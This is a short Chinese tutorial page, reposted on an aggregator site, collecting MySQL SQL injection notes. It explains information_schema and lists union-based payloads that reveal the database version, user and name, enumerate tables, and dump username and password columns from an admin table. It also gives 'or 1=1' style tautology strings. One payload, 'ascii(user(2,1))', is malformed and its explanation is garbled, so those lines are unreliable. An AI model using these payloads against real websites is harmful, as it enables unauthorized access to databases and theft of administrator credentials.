首页 / MYSQL / MYSQL报错注入杂记
MYSQL报错注入杂记
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了MYSQL报错注入杂记,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1440字,纯文字阅读大概需要3分钟。
内容图文
![MYSQL报错注入杂记](/upload/InfoBanner/zyjiaocheng/893/f81c2c0123584690ad52a704e019c0ed.jpg)
元数据库information_schema
在5.0以后版本的MYSQL中存在着一个元数据information_schema,其中存储着用户在MYSQL中创建的所有其他数据库的信息。
当对PHP+MYSQL类网站进行注入时,主要是针对information_schema数据库进行操作;
比较重要的数据表:
schema:用于存放所有数据库的名字;
tables:用于存放所有数据库中的数据表的名字;
columns:用于存放所有数据库的所有数据表中的所有字段的名字;
eg.
查看数据库cms0308数据库中包含了那些表:
select table_name from information_schema.tables where table_schema = "cms0308";
查看hack数据表中包含了哪些字段:
select column_name from information_schema.columns where table_name="hack";
通过加上1=2用于造成前面的语句错误,只显示后面select1,2的内容:
select * from hack where id=1 and 1=2 union select 1,2
若没有加上1=2,上述语句将只返回前面正确内容。
查看当前版本号,当前用户:
select * from hack where id=1 and 1=2 union select 1,version(),user(),4,5
查看当前数据库:
select * from hack where id=1 and 1=1 union select 1,database(),3,4,5
通过group_concat()显示字段中所有内容:
union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="govcn"
利用unhex(hex())函数进行编码转换,解决网站编码不一致导致的问题:
union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin
‘+or+’1’=’1
‘+or+ascii(user(2,1))=2+or+’1’=’1 (2,代表第二个字母,1代表第一个表名)
判断sql语句用什么连接,用+号连接的是sqlserver,用||连接的是oracle,用空格的是mysql
内容总结
以上是互联网集市为您收集整理的MYSQL报错注入杂记全部内容,希望文章能够帮你解决MYSQL报错注入杂记所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。